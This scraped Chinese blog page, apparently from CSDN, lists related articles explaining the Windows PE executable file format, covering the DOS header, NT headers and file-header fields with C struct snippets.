PE文件结构详解（二）可执行文件头
热门推荐
evil.eagle的专栏
09-23 4万+
在PE文件结构详解（一）基本概念里，解释了一下PE文件的一些基本概念，从这篇开始，将正式讲解PE文件的详细结构。 了解一个文件的详细结构，最应该首先了解的就是这个文件的文件头的含义，因为几乎所有的文件格式，重要的信息都包含在头部，从头部的信息，可以引导系统解析整个文件。
遍历PE文件基本信息
VI___
12-07 464
遍历导入表和导出表见另一篇文章 运行效果如下： 代码如下，获取的是主要信息： #include <stdio.h> #include <windows.h> #pragma warning(disable : 4996) IMAGE_DOS_HEADER DosHeader; PIMAGE_DOS_HEADER pDosHeader; IMAG...
（加密解密技术内幕）File Header （文件头）
bruce135lee的专栏
06-23 2767
我们将要研究PE header的file header（文件头）部分。至此，我们已经学到了哪些东东，先简要回顾一下:DOS MZ header又命名为IMAGE_DOS_HEADER.。其中只有两个域比较重要:e_magic包含字符串"MZ"，e_lfanew包含PE header在文件中的偏移量。比较e_magic是否为IMAGE_DOS_SIGNATURE以验证是否是有效的DOS header...
PE结构详解
比尔丁子
03-01 3万+
1 基本概念 下表描述了贯穿于本文中的一些概念： 名称 描述 地址 是“虚拟地址”而不是“物理地址”。为什么不是“物理地址”呢？因为数据在内存的位置经常在变，这样可以节省内存开支、避开错误的内存位置等的优势。同时用户并不需要知道具体的“真实地址”，因为系统自己会为程序准备好内存空间的（只要内存足够大） 镜像文件 包含以EXE文件为代表的“可执行文件”、以D
PE文件格式详细解析(二)
weixin_47754894的博客
11-02 1729
3.PE文件的结构 3.2 NT头 由一个IMAGE_NT_HEADERS结构组成，该结构中包含了PE文件被载入内存时需要用到的重要域。通过DOS header中的e_lfanew，可以直接定位到真正的PE Header部分。该结构体的大小为0xf8字节。 typedef struct _IMAGE_NT_HEADERS { DWORD Signature; //PE签名 IMAGE_FILE_HEADER FileHeader; //PE头 IMAGE_OPTIONA
vc dll 结构体_[PE](4)PE数据结构字段详解
weixin_39805906的博客
12-04 382
一、PE头IMAGE_NT_HEADER的字段首先再看一下IMAGE_NT_HEADER的结构typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader;} IMAGE_NT_HEADE...
pe文件中的3处Characteristics
yellow的博客
02-09 2866
首先：pe文件结构 1、DOS头，对应结构体IMAGE_DOS_HEADER。 2、DOS存根，大小不定，由编译器决定，没有对应的结构体。 3、NT头，对应结构体IMAGE_NT_HEADER，包括3部分定义如下： typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEAD...
小甲鱼PE结构详解：从IMAGE_DOS_HEADER到理解PE文件
"小甲鱼PE结构详解课件.pdf 是一份由知名讲师小甲鱼制作的教育材料，专注于介绍PE（Portable Executable）结构，适合初学者。课件结合了他在B站上的加密系列视频教程，帮助理解PE文件格式的基础知识，包括IMAGE_DOS_...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值